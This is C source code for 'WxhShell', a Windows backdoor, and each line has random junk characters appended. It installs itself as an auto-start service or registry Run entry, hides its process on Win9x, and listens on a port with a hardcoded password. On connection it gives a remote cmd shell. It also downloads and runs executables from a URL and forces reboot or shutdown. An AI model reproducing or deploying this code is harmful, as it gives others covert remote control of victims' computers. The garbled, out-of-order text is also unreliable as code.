    else { = 5 E:CP  
    closesocket(wsh); =':,oz^|  
    ExitThread(0); dn1Tu6f;|  
    } %Jpb&CEY  
    break; :tA|g  
    } Um$a9S8b&  
  // 获取shell ymsqJ   
  case 's': { S}hg*mWn{$  
    CmdShell(wsh); nd] AvVS  
    closesocket(wsh); XTZI !  
    ExitThread(0); j8G>0f)  
    break; ^8V cm*  
  } U&|$B|[  
  // 退出 PUN.nt  
  case 'x': { D=fB&7%@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fV;&)7d&  
    CloseIt(wsh); -e{H8ro  
    break; pw7_j;}l  
    } UI4Xv  
  // 离开 Vo%UiVHy  
  case 'q': { B`4[@$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e<p_u)m  
    closesocket(wsh); ]rh)AE!Y(  
    WSACleanup(); TLL.Ch|#Y  
    exit(1); ~%Ws"1  
    break; mP)<;gm,  
        } _l?5GLl_F$  
  } k*4?fr  
  } m,u? ^W  
NRKAEf_#w  
  // 提示信息 krl yEAK=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /cjf 1Dc  
} [D?E\Nkk  
  } "iydXV=Q  
T@S+5(  
  return; da<1,hF  
} 54)}^ftY^  
!9N%=6\  
// shell模块句柄 QTyl=z7  
int CmdShell(SOCKET sock) FVpe*]  
{ 4v?S` w:6  
STARTUPINFO si; -FPl",f=r  
ZeroMemory(&si,sizeof(si)); _6[NYv$"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O ,;SA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \4&g5vE  
PROCESS_INFORMATION ProcessInfo; ~\_E%NR yA  
char cmdline[]="cmd"; lk'RWy"pw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]zm6;/ S  
  return 0; P6?Q;-\q0  
} F`N*{at  
oc?VAF  
// 自身启动模式 bC{~/ JP  
int StartFromService(void) @GV^B'}*  
{ }qg!Um0  
typedef struct mU_O64  
{ _\<M58/z  
  DWORD ExitStatus; fS ~.K9  
  DWORD PebBaseAddress; i~;8'>:|,M  
  DWORD AffinityMask; :U 9R 1^}A  
  DWORD BasePriority; =bDG|:+  
  ULONG UniqueProcessId; aI<~+]  
  ULONG InheritedFromUniqueProcessId; Hj!)S&y,$  
}   PROCESS_BASIC_INFORMATION; EDo (  
0D'Wr(U(  
PROCNTQSIP NtQueryInformationProcess; Y!L jy [/  
)=D&NO67Pq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'GFzI:Xr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1@WGbORc*  
coWBKWF  
  HANDLE             hProcess; q :bKT#\  
  PROCESS_BASIC_INFORMATION pbi; cGp^;> ]M  
<}%ir,8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wGvgMZ]?'  
  if(NULL == hInst ) return 0; :3B\,inJ  
'!R,)5l0h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o >Lk`\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )hug<D *h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +2SX4Kxu  
]lUu%<-;  
  if (!NtQueryInformationProcess) return 0; z(3"\ ^T  
h 6*`V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' l|_$3  
  if(!hProcess) return 0; $T6Qg(p  
[fp"MPP3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5F"?]'*/  
9#<Og>t2y  
  CloseHandle(hProcess); yUO|3ONT  
%K"%Qm=Tl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d 4]%Wdvf  
if(hProcess==NULL) return 0; (GG"'bYk  
3J T3;O  
HMODULE hMod; ]ufW61W6Ci  
char procName[255]; Zjg\jo  
unsigned long cbNeeded; Nz*sD^SJa  
:OCux Sc%5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AiZFvn[n8  
X:lPWz!7{  
  CloseHandle(hProcess); rf->mk{  
vLuQe0l{  
if(strstr(procName,"services")) return 1; // 以服务启动 ;YDF*~9u  
hyiMOa  
  return 0; // 注册表启动 _wNPA1q0J  
} b`W*vduf  
|*KS<iHr%  
// 主模块 P]"d eB|  
int StartWxhshell(LPSTR lpCmdLine) P/Kit?kngS  
{ hFMst%:y$  
  SOCKET wsl; V:BX"$ J1  
BOOL val=TRUE; nud=uJ"(  
  int port=0; ex \W]5  
  struct sockaddr_in door; ( 'n8=J  
YM`pNtQ  
  if(wscfg.ws_autoins) Install();  p &>A5  
-fJ@R1]  
port=atoi(lpCmdLine); ~AanU1U<  
cTd;p>:>m  
if(port<=0) port=wscfg.ws_port; V wVQ|UH  
PgLS\_B  
  WSADATA data; "F$o!Vk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k%}89glm  
`uh@iD'KI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |<-F|v9og  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <{420  
  door.sin_family = AF_INET; *xg`Kwl5Kl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9xn23*Fo  
  door.sin_port = htons(port); ceZ8} Sh  
K3:|Tc(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T_?nd T2  
closesocket(wsl); QZ3(u<f  
return 1; HDVl5X`j'  
} fu<2t$Cn>  
`E5"Pmg  
  if(listen(wsl,2) == INVALID_SOCKET) { P5>5ps"iU  
closesocket(wsl); `%M-7n9Y  
return 1; W Gw!Y1wq  
} 2l@"p!ar=  
  Wxhshell(wsl); =HY1l}\  
  WSACleanup(); /;&+ < }  
8a`+h#  
return 0; !I5~))E  
RP,:[}mPl  
} H [Lt%:r  
ouVjZF@kS  
// 以NT服务方式启动 ; ,=h59`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F|?'9s*;6G  
{ :e]9T3Q  
DWORD   status = 0; pp]_/46nN  
  DWORD   specificError = 0xfffffff; +K%pxuVh  
pzq; vMr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {HHh.K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r1oku0o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w,Zx5bBg%  
  serviceStatus.dwWin32ExitCode     = 0;  (X(1kj3  
  serviceStatus.dwServiceSpecificExitCode = 0; T5S g2a1&  
  serviceStatus.dwCheckPoint       = 0; xN3 [Kp  
  serviceStatus.dwWaitHint       = 0; "f|(@a  
) p<fL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :%#r.p"6x  
  if (hServiceStatusHandle==0) return; 8.CKH4h  
zD2.Q%`IM  
status = GetLastError(); aLKMDiT  
  if (status!=NO_ERROR) v0`qMBr1y  
{ h zZ-$IX X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cc41b*ci$  
    serviceStatus.dwCheckPoint       = 0; R6q4 ["  
    serviceStatus.dwWaitHint       = 0; z0 2}&^Zzk  
    serviceStatus.dwWin32ExitCode     = status; x(9; !4O>  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fkc x+d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jf?S9r5Q  
    return; Er"R;l]xJ  
  } LgP>u?]n  
Qq T/1^imS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kqD*TJA  
  serviceStatus.dwCheckPoint       = 0; >wKu6- ]a  
  serviceStatus.dwWaitHint       = 0; eb!s'@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {b'}:aMc  
} hG3m7ht  
A{z>D`d  
// 处理NT服务事件,比如:启动、停止 3+(yI 4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rToaGQh  
{ SbS$(Gt#Bv  
switch(fdwControl) u3Usq=Ij{  
{ +_ *eu  
case SERVICE_CONTROL_STOP: x*me'?q  
  serviceStatus.dwWin32ExitCode = 0; dU oWo3r=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E+}GxFG-:  
  serviceStatus.dwCheckPoint   = 0; ;GE26Ymqly  
  serviceStatus.dwWaitHint     = 0; Cs:+93w  
  { ^n&]HzT`y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .!yWF?T8  
  } 1mHwYT+  
  return; ]6{(Hjt  
case SERVICE_CONTROL_PAUSE: ZD5I5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J}Qs"+x  
  break; euV$2Fg  
case SERVICE_CONTROL_CONTINUE: EqD^/(,L2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j?:`-\w5  
  break; 4llD6&%  
case SERVICE_CONTROL_INTERROGATE: Aq V09 $  
  break; sULIrYRA  
}; ;OOj[%.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`;+RDKY*  
} 0A#*4ap  
& u$(NbK  
// 标准应用程序主函数 n1QEu"~Zj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `d7gm;ykp  
{ @B,j;2eb  
o 'C~~Vg).  
// 获取操作系统版本 t=n+3`g  
OsIsNt=GetOsVer(); ud0QZ X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {TyCj?3B  
1.'(nKoq  
  // 从命令行安装 |DN^NhtE  
  if(strpbrk(lpCmdLine,"iI")) Install(); K;oV"KRK  
o]Z _@VI  
  // 下载执行文件 Hf VHI1f  
if(wscfg.ws_downexe) { z)4UMR#b&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;>NP.pnA)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9wL!D3e {Q  
} q*\NRq  
:KEq<fEI  
if(!OsIsNt) { SQ}S4r  
// 如果时win9x,隐藏进程并且设置为注册表启动 5;W\2yj  
HideProc(); DH5bpg&T  
StartWxhshell(lpCmdLine); b,#`n  
} 8y$5oD6g9  
else m</]D WJ  
  if(StartFromService()) }>2t&+v+  
  // 以服务方式启动 gaQ[3g  
  StartServiceCtrlDispatcher(DispatchTable); w{PUj  
else L-#e?Y}$J  
  // 普通方式启动 (O$}(Tn  
  StartWxhshell(lpCmdLine); D=$4/D:;  
}@d>,1DU  
return 0; pe|X@o  
} 'gCJ[ce  
gs?8Wzh90*  
:'Zx{F`  
3 m6$YWO  
=========================================== pvlDjj}  
tcZa~3.  
& =G)NeT_  
H#OYw#L"u  
%/51o6a  
F8;mYuA  
" jz*0`9&_  
(~h7rAEc  
#include <stdio.h> k@S)j<  
#include <string.h> '=VH6@vZ_'  
#include <windows.h> >tN5vWW  
#include <winsock2.h> wHf&R3fg  
#include <winsvc.h> >w9sE8i  
#include <urlmon.h> IXnb]q.  
iC\%_5/ _  
#pragma comment (lib, "Ws2_32.lib") E Zi&]  
#pragma comment (lib, "urlmon.lib") a0PE^U  
H ( vx/q  
#define MAX_USER   100 // 最大客户端连接数 }3Qc 24`  
#define BUF_SOCK   200 // sock buffer GWhE8EDT  
#define KEY_BUFF   255 // 输入 buffer c&E]E(  
E, GN|l  
#define REBOOT     0   // 重启 ["u#{>(X  
#define SHUTDOWN   1   // 关机 C8ZL*9U  
=~&VdPZ  
#define DEF_PORT   5000 // 监听端口 Goxl3LS<  
6hO-H&r++  
#define REG_LEN     16   // 注册表键长度 O5zE {#  
#define SVC_LEN     80   // NT服务名长度 SrFx_n  
YScvyh?E  
// 从dll定义API M ,`w A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J/ vK6cO\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YlTaN,?j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yI&9\fn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V,Q4n%h1.  
)hBE11,PB  
// wxhshell配置信息 {L].T#  
struct WSCFG { BgM%+b8u  
  int ws_port;         // 监听端口 7b,(\Fm  
  char ws_passstr[REG_LEN]; // 口令 4 j X3lq|  
  int ws_autoins;       // 安装标记, 1=yes 0=no M/pMs 6  
  char ws_regname[REG_LEN]; // 注册表键名 1'JD=  
  char ws_svcname[REG_LEN]; // 服务名 I`T1Pll  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wksl0:BL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p $Hi[upy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >&Y-u%}U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :5b0np!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WF[bO7:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z.1> kZ  
lyv4fP  
}; uOd& XW  
u-3:k  
// default Wxhshell configuration hr/o<#OW  
struct WSCFG wscfg={DEF_PORT, /TV= $gB`  
    "xuhuanlingzhe", wNYg$d0M  
    1, ,[e\cnq[  
    "Wxhshell", QI_4*  
    "Wxhshell", A&"%os  
            "WxhShell Service", b?T  
    "Wrsky Windows CmdShell Service", Ln!A:dP}c-  
    "Please Input Your Password: ", q%i-`S]}qL  
  1, y >+mc7n  
  "http://www.wrsky.com/wxhshell.exe", xfFg,9w8  
  "Wxhshell.exe" _>yoX  
    }; =Vw 5q},3  
\r {W  
// 消息定义模块 4vWkT8HQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +&i +Mpb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~}"]&%Q{J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }`\/f  
char *msg_ws_ext="\n\rExit."; y[?-@7i  
char *msg_ws_end="\n\rQuit."; T~4N+fK  
char *msg_ws_boot="\n\rReboot..."; E3aDDFDH  
char *msg_ws_poff="\n\rShutdown..."; sN6N >{  
char *msg_ws_down="\n\rSave to "; >e,mg8u6$  
x@Hd^xH`  
char *msg_ws_err="\n\rErr!"; .6f%?oo  
char *msg_ws_ok="\n\rOK!"; cyM-)r@YQV  
qIMA6u/  
char ExeFile[MAX_PATH]; %w7pkh,  
int nUser = 0; !\Xm!I8  
HANDLE handles[MAX_USER]; $~;D9  
int OsIsNt; D BE4&  
A:l@_*C..  
SERVICE_STATUS       serviceStatus; 67SV~L#%O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %zk$}}ti.  
L;Z0`mdz  
// 函数声明 ??60,m:]  
int Install(void); qqrq11W  
int Uninstall(void); e [_m< e  
int DownloadFile(char *sURL, SOCKET wsh); mtz#}qD66  
int Boot(int flag); z7GTaX$d  
void HideProc(void); >K9#3 4hP  
int GetOsVer(void); >9e(.6&2XZ  
int Wxhshell(SOCKET wsl); ,JU@|`  
void TalkWithClient(void *cs); o]:3H8  
int CmdShell(SOCKET sock); R218(8S  
int StartFromService(void); 2_vbT!_  
int StartWxhshell(LPSTR lpCmdLine); 8{`?= &%6  
#jA[9gWI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X3'H `/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s*U1  
WOuEWw=  
// 数据结构和表定义 NT@;N/I  
SERVICE_TABLE_ENTRY DispatchTable[] = `\Hf]b  
{ ^WBuMCe  
{wscfg.ws_svcname, NTServiceMain}, ]BR,M4   
{NULL, NULL} r'QnX;99T  
}; q[`j`8YY!R  
!,V{zTR  
// 自我安装 E4 m`  
int Install(void) M%jPH  
{ F 8B#}%JE  
  char svExeFile[MAX_PATH]; a5a($D  
  HKEY key; UG=K|OXWJ  
  strcpy(svExeFile,ExeFile); "Ph^BU Ab  
Na X   
// 如果是win9x系统,修改注册表设为自启动 ?QE,;QtpK  
if(!OsIsNt) { |2{wG 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >4t+:Ut:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UTXSeNP  
  RegCloseKey(key); \=_{na_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r@ZJ{4\Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !%$`Eq)M^7  
  RegCloseKey(key); tHzZ@72B7  
  return 0; Q7W>qe%4  
    } "etPT@gF  
  } 8#vc(04(  
} zc[Si bT  
else { Ol!ntNhXm  
=UV`.d2[  
// 如果是NT以上系统,安装为系统服务 >$4d7.^hb/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cTG|fdgMW  
if (schSCManager!=0) W*2U="t  
{ /~3r;M  
  SC_HANDLE schService = CreateService D*lKn62  
  ( Hw4%uS==V  
  schSCManager, X 7rMeu  
  wscfg.ws_svcname, "s{5O>  
  wscfg.ws_svcdisp, [UH||qW  
  SERVICE_ALL_ACCESS, ;3@cy|\:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |j7,Mu+  
  SERVICE_AUTO_START, 4q k9NK2 U  
  SERVICE_ERROR_NORMAL, [EKQR>s)  
  svExeFile, "yS _s  
  NULL, P}4QQw  
  NULL, .4E&/w+  
  NULL, .nVa[B |.  
  NULL, BBev<  
  NULL ?U2<  
  ); 9?SZNL['V  
  if (schService!=0) U[ 0=L`0e  
  { va0{>Dc+  
  CloseServiceHandle(schService); ~Yy>zUH^X  
  CloseServiceHandle(schSCManager); X"fb;sGT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5;YMqUkw  
  strcat(svExeFile,wscfg.ws_svcname); Ck) * &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s6@DGSJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ATK_DE Au  
  RegCloseKey(key); 6}FP  
  return 0; Jt}Bpg!J  
    } 32`{7a3!=  
  } V)[@98T_4?  
  CloseServiceHandle(schSCManager); 6 |PrX L&  
} s*-n^o-  
} XMxSQ B1  
H<PtAYFS  
return 1; NeE t  
} q-}Fvel u  
3v1iy / /  
// 自我卸载 UdpF@Q  
int Uninstall(void) <4HDZ{"M  
{ gMzcTmbc8  
  HKEY key; zdYy^8V|z  
=\H!GT  
if(!OsIsNt) { d^{RQ   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Uc_G13Y{D  
  RegDeleteValue(key,wscfg.ws_regname); (pv+c,  
  RegCloseKey(key); 6G[4rD&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;)D];u|_  
  RegDeleteValue(key,wscfg.ws_regname); xHD=\,{ig  
  RegCloseKey(key); 2#c<\s|C  
  return 0; ww], y@da  
  } R}*_~7r5  
} 8Dj c c z  
} *%%g{ 3$  
else { VHIOwzC  
0Ziw_S\d&s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P\1L7%*lU  
if (schSCManager!=0) nU7>uU  
{ v>Q #B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \1D<!k\S  
  if (schService!=0) tMf}   
  { Vf] "L .G  
  if(DeleteService(schService)!=0) {  W\d{a(*  
  CloseServiceHandle(schService);  : y%d  
  CloseServiceHandle(schSCManager); `4=^cyt+  
  return 0; w n/_}]T  
  } |}=acc/  
  CloseServiceHandle(schService); S4Y&  
  } UC]\yUK1J  
  CloseServiceHandle(schSCManager); Azl&mu  
} 5z7U1:  
} _Kl_61k  
Qz5sxi  
return 1; p<2L.\6"  
} 1w@(5 ^V  
JTSlWq4  
// 从指定url下载文件 g jDh?I  
int DownloadFile(char *sURL, SOCKET wsh) ,)Me  
{ )dbB =OZ  
  HRESULT hr; {< )1q ;  
char seps[]= "/"; e!N:,`R 5  
char *token; JTO~9>$ B  
char *file; de.&`lPRf  
char myURL[MAX_PATH]; Dz>^IMsY  
char myFILE[MAX_PATH]; )h"<\%LU  
y{ibO}s  
strcpy(myURL,sURL); ^1iSn)&  
  token=strtok(myURL,seps); JEXy%hl  
  while(token!=NULL) l=S35og  
  { e6@=wnoX u  
    file=token; r e/@D@%  
  token=strtok(NULL,seps); {C=NUK%?  
  } ] o*#t  
BLfTsNzmt  
GetCurrentDirectory(MAX_PATH,myFILE); *scVJ  
strcat(myFILE, "\\"); JD)(oK%C  
strcat(myFILE, file); <*16(!k0  
  send(wsh,myFILE,strlen(myFILE),0); tItX y  
send(wsh,"...",3,0); [I '0,y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nw-xSS{  
  if(hr==S_OK) gw#5jW\  
return 0; XewVcRo  
else 27 ]':A4_  
return 1; TSTl+W  
]zj9A]i:a  
} R "n 5  
^U `[(kz=  
// 系统电源模块 Ixb=L (V  
int Boot(int flag) 2|3)S`WZl  
{ R Q vft  
  HANDLE hToken; i6dHrx]:,  
  TOKEN_PRIVILEGES tkp; "+kL )]  
fkuLj%R  
  if(OsIsNt) { ii[F]sR\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qkt0**\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); = s>T;|  
    tkp.PrivilegeCount = 1; Vq2y4D?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HG^B#yX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yw4n-0g  
if(flag==REBOOT) { *w^C"^*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EN$2,qf  
  return 0; Lm*e5JnV  
} X iS1\*  
else { q*U*Fu+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wW7eT~w  
  return 0; Bc+w+  
} ![`Ay4AZ@a  
  } Ov 5"  
  else { $+P>~X)  
if(flag==REBOOT) { S|SV$_ (  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OVm\  
  return 0; Li!Vx1p;u.  
} )m`<H>[Eb=  
else { Rn}l6kbM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gp5_Z-me  
  return 0; *,e:]!*  
} ]JCvyz H  
} Ja,wfRq  
s3~lT.  
return 1; {K+i cTL3  
} sx7eC  
6g|*`x{  
// win9x进程隐藏模块 6g 5#TpCh  
void HideProc(void) J2::'Hw*s  
{ SQ44  
^Y=\#-Dd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k3u "A_"c  
  if ( hKernel != NULL ) G0/4JSH  
  { Mmxlp .l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5*+!+V^?X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (zgW%{V@  
    FreeLibrary(hKernel); 0xxg|;h.,g  
  } d6'{rje(  
c9HrMgW  
return; n!NS(. o  
} a6D &/8  
5~r33L%  
// 获取操作系统版本 MLoYnR^  
int GetOsVer(void) G}:w@}h/  
{ p~SClaR3H  
  OSVERSIONINFO winfo; wfNk=)^$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RX>xB  
  GetVersionEx(&winfo); dYG,_ji  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v'U{/ ,x  
  return 1; % 5m/  
  else Zo|.1pN  
  return 0; !ipR$ dM  
} \?Z{hmN  
Q3 u8bx|E  
// 客户端句柄模块 w\(.3W7  
int Wxhshell(SOCKET wsl) NL!u<6y  
{ ABQa 3{v  
  SOCKET wsh; OjFLPGRCh  
  struct sockaddr_in client; =8t]\Y?  
  DWORD myID; +aJ>rR  
x.f]1S7h[  
  while(nUser<MAX_USER) 1M}5>V{  
{ /.3}aj;6  
  int nSize=sizeof(client); RZHd9v$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2[Z,J%:0  
  if(wsh==INVALID_SOCKET) return 1; ix([mQg  
u -;_y='m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uehDIl0\[b  
if(handles[nUser]==0) MXw hxk#E  
  closesocket(wsh); 3  ^>l\,  
else <QA6/Ef7  
  nUser++; Jl5c [F  
  } X WUWY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U> cV|  
\!k1a^ZP  
  return 0; d/ARm-D  
} eZSNNgD<:  
=osv3>&q  
// 关闭 socket &7`^i.fh)  
void CloseIt(SOCKET wsh) YpH&<$x:  
{ S'4(0j  
closesocket(wsh); rf?qdd(~cH  
nUser--; .$qnZWcgG  
ExitThread(0); <R''oEf9  
} F$ #U5}Q  
ht2\y&si  
// 客户端请求句柄 AfX}y+Ah  
void TalkWithClient(void *cs) ,u+PyG7 cb  
{ L;*ljZ^c  
|.F$G<  
  SOCKET wsh=(SOCKET)cs; \MbB#  
  char pwd[SVC_LEN]; eM$sv9?  
  char cmd[KEY_BUFF]; [Jogt#Fj ]  
char chr[1]; 0 vtt"f)Y[  
int i,j; pm_`>3  
;5zz<;Zy  
  while (nUser < MAX_USER) { x c/}#>ED  
E7.2T^o;M  
if(wscfg.ws_passstr) { P>s[tM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !ePr5On  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XZ sz/#  
  //ZeroMemory(pwd,KEY_BUFF); >33=<~#n  
      i=0; |$vX<. S  
  while(i<SVC_LEN) { {[+mpKq  
vhpNpgz  
  // 设置超时 Kla'lCZ  
  fd_set FdRead; $6mX  
  struct timeval TimeOut; cki81bOT  
  FD_ZERO(&FdRead); >4#)r8;dx  
  FD_SET(wsh,&FdRead); |G?htZF  
  TimeOut.tv_sec=8; <,[cQ I/  
  TimeOut.tv_usec=0; t=Xv;=daB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yzerOL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *M:B\ D  
n/SwP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F P* lQRA  
  pwd=chr[0]; U.DDaT1  
  if(chr[0]==0xd || chr[0]==0xa) { M%ICdIc'  
  pwd=0; ` :o4'CG  
  break; 9QDFEYG  
  } Xc?&_\. +  
  i++; .?R!DYC`  
    } 9aze>nxh.  
jz qyk^X  
  // 如果是非法用户,关闭 socket %p2Sh)@M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3BtaH#ZY  
} bn!HUM,  
l|kSsP:GO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FFu9&8Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,.kha8v  
CIb2J)qev  
while(1) { ti I.W  
M luVx'  
  ZeroMemory(cmd,KEY_BUFF); :cF[(i/k4  
^Wt*  
      // 自动支持客户端 telnet标准   xT   
  j=0; .(^ ,z&  
  while(j<KEY_BUFF) { f33l$pOp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); - `p4-J!Fy  
  cmd[j]=chr[0]; ] Hztb  
  if(chr[0]==0xa || chr[0]==0xd) { KY51rw.  
  cmd[j]=0; [n \2  
  break; ]Q>.HH  
  } m 8aITd8  
  j++; [_1G@S6Ex  
    } PE5R7)~A  
+RyjF~  
  // 下载文件 VXR>]HUF  
  if(strstr(cmd,"http://")) { <Bw^!.jAF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X!9 B2w  
  if(DownloadFile(cmd,wsh)) #,":vr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j$?{\iXZ  
  else C -\S/yd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;<j0f~G`  
  } EfCx`3~EX  
  else { -o $QS,  
VJickXA  
    switch(cmd[0]) { G 8g<>d{j  
  +yk24 ` >  
  // 帮助 =;2%a(  
  case '?': { eHn7iuS8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $}>+kHoT{  
    break; 2O.i\cH  
  } { g/0x,-Z  
